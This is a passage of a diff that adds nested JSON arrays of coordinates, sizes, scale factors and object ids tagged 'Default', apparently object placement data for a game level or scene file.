+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1672,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 307,
+ 704,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1673,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 399,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1674,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 491,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1675,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 123,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1676,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 215,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1678,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 307,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1679,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 583,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1680,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 675,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1681,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1101.8134765625,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1684,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1193.8134765625,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1685,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1285.8134765625,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1686,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 675,
+ 894,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1687,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 583,
+ 894,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1688,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 491,
+ 894,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1689,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 398.617919921875,
+ 893.8525390625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1698,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 306.617919921875,
+ 893.8525390625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1721,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 214.617919921875,
+ 893.8525390625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1722,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1285.6064453125,
+ 894.7728271484375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1723,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1193.6064453125,
+ 894.7728271484375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1724,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1101.6064453125,
+ 894.7728271484375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1725,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1377.743774414063,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1729,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1377.536743164063,
+ 894.7728271484375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1730,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1469.680053710938,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1731,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1469.473022460938,
+ 894.7728271484375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1732,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1561.6103515625,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1733,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1561.4033203125,
+ 894.7728271484375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1734,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1438.947265625,
+ 744.13330078125,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1735,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1469.947265625,
+ 744.13330078125,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1736,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1500.947265625,
+ 744.13330078125,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1737,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1285.6064453125,
+ 990.1760864257812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1739,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1193.6064453125,
+ 990.1760864257812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1740,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1101.6064453125,
+ 990.1760864257812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1741,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1377.536743164063,
+ 990.1760864257812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1742,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1469.473022460938,
+ 990.1760864257812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1743,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1561.4033203125,
+ 990.1760864257812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1744,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2287,
+ 648,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1745,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2378.51708984375,
+ 647.8544311523438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1746,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2470.611083984375,
+ 648,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1747,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2562.128173828125,
+ 647.8544311523438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1748,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2655,
+ 362,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1749,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2655,
+ 457,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1750,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2655,
+ 553,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1751,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2655,
+ 648,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 1752,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 212.521728515625,
+ 799.6751098632812,
+ 0,
+ 464.754150390625,
+ 277.7109375,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1753,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 499.7438354492188,
+ 831.5453491210938,
+ 0,
+ 442,
+ 150,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1754,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1651.27685546875,
+ 740.2921142578125,
+ 0,
+ 181.8180694580078,
+ 19.72144317626953,
+ 0,
+ -0.5061454772949219,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1755,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2424.481201171875,
+ 649.6231079101562,
+ 0,
+ 367.4649963378906,
+ 90.43286895751953,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1757,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2701.818115234375,
+ 507.0309448242188,
+ 0,
+ 182,
+ 374,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 1758,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 400,
+ 612,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 1759,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 583.24755859375,
+ 989.0631713867188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1768,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 491.2475280761719,
+ 989.0631713867188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1769,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 399.2475280761719,
+ 989.0631713867188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1770,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 306.602783203125,
+ 989.410400390625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1771,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 214.6027526855469,
+ 989.410400390625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1772,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 122.6027526855469,
+ 989.410400390625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1773,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 675.0010375976562,
+ 989.2953491210938,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1774,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 122.2538146972656,
+ 893.6946411132812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1779,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 30.00251007080078,
+ 989.642578125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1780,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 29.65357208251953,
+ 893.9268188476562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1781,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2747.149169921875,
+ 362.0175170898438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1782,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2930.9375,
+ 362.0175170898438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1783,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2916,
+ 307,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1790,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2947,
+ 307,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1791,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2747.51806640625,
+ 457,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 1796,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2747.51806640625,
+ 553,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1797,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2747.51806640625,
+ 648,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 1798,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2839.650634765625,
+ 552.757568359375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1799,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2931.4130859375,
+ 552.7579956054688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1800,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2839.028564453125,
+ 648,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 1801,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2931.546630859375,
+ 648,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 1802,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3022.357177734375,
+ 362.0440063476563,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1803,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3114.290771484375,
+ 362.0440063476563,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1804,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3114.79052734375,
+ 743.5631713867188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 477,
+ 1807,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3114.931640625,
+ 552.7579956054688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1808,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3022.547119140625,
+ 648,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 1809,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3115.065185546875,
+ 648,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 1810,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3008.56591796875,
+ 584.9849853515625,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1811,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3039.56591796875,
+ 584.9849853515625,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 1812,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3205.986328125,
+ 362.0440063476563,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1813,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3297.919921875,
+ 362.0440063476563,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 1814,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3299.491943359375,
+ 552.7693481445312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 1815,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3299.62548828125,
+ 648.0113525390625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 1816,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3299.85546875,
+ 458.3495483398438,
+ 0,
+ 95.91248321533203,
+ 98.14300537109375,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 1818,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3114.727783203125,
+ 839.0726928710938,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 478,
+ 1819,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3207.01123046875,
+ 838.983154296875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 478,
+ 1820,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3298.92626953125,
+ 839.0726928710938,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 478,
+ 1822,
+ [],
+ [],
+ [
+ 0,
